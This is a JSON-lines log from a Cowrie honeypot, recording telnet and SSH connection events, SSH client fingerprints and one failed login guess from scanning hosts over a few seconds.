{"eventid":"cowrie.session.closed","duration":30.674291610717773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:28.109580Z","src_ip":"133.130.75.21","session":"596d627e39e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"081d0b30115c","protocol":"telnet","message":"New connection: 176.74.31.147:46290 (159.203.135.109:23) [session: 081d0b30115c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:28.412195Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":46512,"dst_ip":"159.203.135.109","dst_port":23,"session":"1efc0fb6bfaa","protocol":"telnet","message":"New connection: 176.74.31.147:46512 (159.203.135.109:23) [session: 1efc0fb6bfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:28.447694Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":33644,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4307f9b458","protocol":"telnet","message":"New connection: 108.179.218.230:33644 (10.17.0.5:23) [session: 4f4307f9b458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:28.857622Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":59646,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7cf0f537fa6","protocol":"telnet","message":"New connection: 40.84.199.249:59646 (10.17.0.5:23) [session: b7cf0f537fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.122138Z"}
{"eventid":"cowrie.session.closed","duration":30.833679914474487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.152355Z","src_ip":"40.84.199.249","session":"16a9764ee99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":33932,"dst_ip":"10.17.0.5","dst_port":23,"session":"af1230663242","protocol":"telnet","message":"New connection: 108.179.218.230:33932 (10.17.0.5:23) [session: af1230663242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.474766Z"}
{"eventid":"cowrie.session.closed","duration":31.530401945114136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.697771Z","src_ip":"40.84.199.249","session":"abdf5f18d0ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.419111251831055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.732754Z","src_ip":"192.161.62.114","session":"c0f414dec5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34624,"dst_ip":"10.17.0.5","dst_port":23,"session":"505e75c28c66","protocol":"telnet","message":"New connection: 108.179.218.230:34624 (10.17.0.5:23) [session: 505e75c28c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.809957Z"}
{"eventid":"cowrie.session.closed","duration":30.572799921035767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.828111Z","src_ip":"162.241.40.195","session":"b4995647812c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278749465942383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:29.855093Z","src_ip":"192.161.62.114","session":"1047405ea3a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.440454721450806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.020502Z","src_ip":"133.130.75.21","session":"08f09d4bf7b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887759923934937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.238171Z","src_ip":"176.74.31.147","session":"48198d885e1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34836,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b4459039a94","protocol":"telnet","message":"New connection: 108.179.218.230:34836 (10.17.0.5:23) [session: 2b4459039a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.300662Z"}
{"eventid":"cowrie.session.closed","duration":30.183319330215454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.435328Z","src_ip":"108.179.218.230","session":"1c3e7728f27c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d79abc6478f","protocol":"telnet","message":"New connection: 108.179.218.230:34468 (10.17.0.5:23) [session: 5d79abc6478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.545692Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":35020,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c902a57cd4d","protocol":"telnet","message":"New connection: 108.179.218.230:35020 (10.17.0.5:23) [session: 8c902a57cd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.646285Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":51750,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c83bb7dd1a","protocol":"telnet","message":"New connection: 162.241.40.195:51750 (10.17.0.5:23) [session: c7c83bb7dd1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:30.841446Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"89bd8eeb8e99","protocol":"telnet","message":"New connection: 162.241.40.195:52660 (10.17.0.5:23) [session: 89bd8eeb8e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:31.497719Z"}
{"eventid":"cowrie.session.closed","duration":31.551924228668213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:32.426758Z","src_ip":"162.241.40.195","session":"59702e71d5e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726471424102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:33.282381Z","src_ip":"176.74.31.147","session":"17e12d29e16d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":45304,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6eb269ca90","protocol":"ssh","message":"New connection: 186.80.18.158:45304 (10.17.0.5:22) [session: ba6eb269ca90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:33.286713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:33.292921Z","src_ip":"186.80.18.158","session":"ba6eb269ca90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:33.378772Z","src_ip":"186.80.18.158","session":"ba6eb269ca90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.243345022201538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:33.518227Z","src_ip":"108.179.218.230","session":"a484aff72c3d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres12345","message":"login attempt [postgres/postgres12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:33.737727Z","src_ip":"186.80.18.158","session":"ba6eb269ca90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.830379486083984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:34.272321Z","src_ip":"176.74.31.147","session":"6069183fd0ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87983250617981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:34.343969Z","src_ip":"176.74.31.147","session":"0a6e005d90c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071909427642822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:34.647287Z","src_ip":"162.241.40.195","session":"4668c1b8750c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:34.821259Z","src_ip":"186.80.18.158","session":"ba6eb269ca90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":54380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa3ec12159e","protocol":"telnet","message":"New connection: 162.241.40.195:54380 (10.17.0.5:23) [session: 8aa3ec12159e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:35.138029Z"}
{"eventid":"cowrie.session.closed","duration":31.121859312057495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:35.217167Z","src_ip":"192.161.62.114","session":"acebade41ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96502161026001,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:35.254889Z","src_ip":"108.179.218.230","session":"75d17f8684f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491698026657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:35.365716Z","src_ip":"108.179.218.230","session":"5331db300cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712002992630005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:35.842041Z","src_ip":"108.179.218.230","session":"0059f64ba33a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":37158,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad64b0e2e45","protocol":"telnet","message":"New connection: 108.179.218.230:37158 (10.17.0.5:23) [session: fad64b0e2e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:35.847409Z"}
{"eventid":"cowrie.session.closed","duration":30.966282606124878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:36.253987Z","src_ip":"176.74.31.147","session":"cd51fb26b073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":37876,"dst_ip":"10.17.0.5","dst_port":23,"session":"be16b05055a5","protocol":"telnet","message":"New connection: 108.179.218.230:37876 (10.17.0.5:23) [session: be16b05055a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:36.631207Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":38048,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d695fb42065","protocol":"telnet","message":"New connection: 108.179.218.230:38048 (10.17.0.5:23) [session: 3d695fb42065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:37.031976Z"}
{"eventid":"cowrie.session.closed","duration":31.103637218475342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:38.115229Z","src_ip":"40.84.199.249","session":"99bdb366dcbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":55964,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e1da982cfd","protocol":"telnet","message":"New connection: 176.74.31.147:55964 (159.203.135.109:23) [session: 29e1da982cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:38.261670Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":55978,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae895d366a9b","protocol":"telnet","message":"New connection: 176.74.31.147:55978 (159.203.135.109:23) [session: ae895d366a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:38.285403Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54696,"dst_ip":"159.203.135.109","dst_port":23,"session":"added3d3f193","protocol":"telnet","message":"New connection: 212.47.75.195:54696 (159.203.135.109:23) [session: added3d3f193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:38.458487Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":38774,"dst_ip":"10.17.0.5","dst_port":23,"session":"0403977a6911","protocol":"telnet","message":"New connection: 108.179.218.230:38774 (10.17.0.5:23) [session: 0403977a6911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:38.580691Z"}
{"eventid":"cowrie.session.closed","duration":31.376708507537842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:38.999024Z","src_ip":"108.179.218.230","session":"23065d722793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39062,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b6c4b92ecd","protocol":"telnet","message":"New connection: 108.179.218.230:39062 (10.17.0.5:23) [session: 90b6c4b92ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:39.025979Z"}
{"eventid":"cowrie.session.closed","duration":30.449628591537476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:39.032778Z","src_ip":"216.22.21.200","session":"af830a89093c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41606,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ba2855b888","protocol":"ssh","message":"New connection: 122.168.114.167:41606 (159.203.135.109:22) [session: 07ba2855b888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:39.438484Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39404,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9f1ca911ae","protocol":"telnet","message":"New connection: 108.179.218.230:39404 (10.17.0.5:23) [session: 2a9f1ca911ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:39.774711Z"}
{"eventid":"cowrie.session.closed","duration":31.59884238243103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:40.076421Z","src_ip":"108.179.218.230","session":"ded4db4e45d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54698,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ec75988d2c","protocol":"telnet","message":"New connection: 212.47.75.195:54698 (159.203.135.109:23) [session: b8ec75988d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:40.254273Z"}
{"eventid":"cowrie.session.closed","duration":30.831012725830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:40.529314Z","src_ip":"108.179.218.230","session":"35819ebbf963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39812,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ab47a37bda","protocol":"telnet","message":"New connection: 108.179.218.230:39812 (10.17.0.5:23) [session: 27ab47a37bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:40.668545Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39908,"dst_ip":"10.17.0.5","dst_port":23,"session":"0700a7d57d1e","protocol":"telnet","message":"New connection: 108.179.218.230:39908 (10.17.0.5:23) [session: 0700a7d57d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:40.884889Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54700,"dst_ip":"159.203.135.109","dst_port":23,"session":"acbeb04043a7","protocol":"telnet","message":"New connection: 212.47.75.195:54700 (159.203.135.109:23) [session: acbeb04043a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:41.209945Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":57946,"dst_ip":"159.203.135.109","dst_port":23,"session":"aff6822c1990","protocol":"telnet","message":"New connection: 176.74.31.147:57946 (159.203.135.109:23) [session: aff6822c1990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:41.318158Z"}
{"eventid":"cowrie.session.closed","duration":31.23356318473816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:41.418190Z","src_ip":"40.84.199.249","session":"9c73052cbad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":37031,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e32ee8f168","protocol":"telnet","message":"New connection: 133.130.75.21:37031 (10.17.0.5:23) [session: e6e32ee8f168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:41.874698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.065539Z","src_ip":"122.168.114.167","session":"07ba2855b888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85073709487915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.084554Z","src_ip":"40.84.199.249","session":"0c9cca14f87b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.113815Z","src_ip":"122.168.114.167","session":"07ba2855b888","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54702,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2fc7723c0a3","protocol":"telnet","message":"New connection: 212.47.75.195:54702 (159.203.135.109:23) [session: b2fc7723c0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.287037Z"}
{"eventid":"cowrie.session.closed","duration":30.783870935440063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.292312Z","src_ip":"176.74.31.147","session":"e549f3c10c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":40302,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef5f808d0ff","protocol":"telnet","message":"New connection: 108.179.218.230:40302 (10.17.0.5:23) [session: 9ef5f808d0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.716553Z"}
{"eventid":"cowrie.session.closed","duration":30.64583134651184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.816513Z","src_ip":"108.179.218.230","session":"c5753b7173c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679317712783813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:42.866872Z","src_ip":"162.241.40.195","session":"83ecccff0c76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":41108,"dst_ip":"10.17.0.5","dst_port":23,"session":"a43a7439e9fc","protocol":"telnet","message":"New connection: 108.179.218.230:41108 (10.17.0.5:23) [session: a43a7439e9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:43.510314Z"}
{"eventid":"cowrie.session.closed","duration":30.590543508529663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:43.521947Z","src_ip":"108.179.218.230","session":"10980906a5fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.145125150680542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:44.272830Z","src_ip":"192.161.62.114","session":"7c03dbd0b4a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b67d845d6a","protocol":"telnet","message":"New connection: 212.47.75.195:54704 (159.203.135.109:23) [session: d5b67d845d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:44.351348Z"}
{"eventid":"cowrie.session.closed","duration":30.46456527709961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:00:45.487119Z","src_ip":"108.179.218.230","session":"6ddeb330d569","protocol":"telnet"}
